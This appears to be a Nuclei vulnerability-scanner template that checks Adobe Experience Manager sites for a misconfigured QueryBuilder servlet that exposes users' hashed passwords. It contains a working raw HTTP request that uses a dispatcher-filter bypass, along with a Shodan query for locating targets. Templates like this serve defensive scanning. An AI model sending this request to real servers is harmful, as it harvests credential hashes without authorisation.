id: aem-hash-querybuilder info: name: Query hashed password via QueryBuilder Servlet author: DhiyaneshDk severity: medium description: AEM hased password can be queried via QueryBuilder Servlet. reference: - https://twitter.com/AEMSecurity/status/1372392101829349376 metadata: max-request: 1 shodan-query: http.component:"Adobe Experience Manager" tags: aem,misconfig http: - raw: - | GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate matchers-condition: and matchers: - type: status status: - 200 - type: word words: - '"success":true' - 'rep:password' condition: and # digest: 4a0a00473045022100cb28ec85d528c4df5d807eecd666a91bd49b19e18ff697ba4d64930ae863334702202d6c99658248b15ba8e8c6ea8571dda1d95e41b9f6e4ea28bb30fdfad88520d7:922c64590222798bb761d5b6d8e72950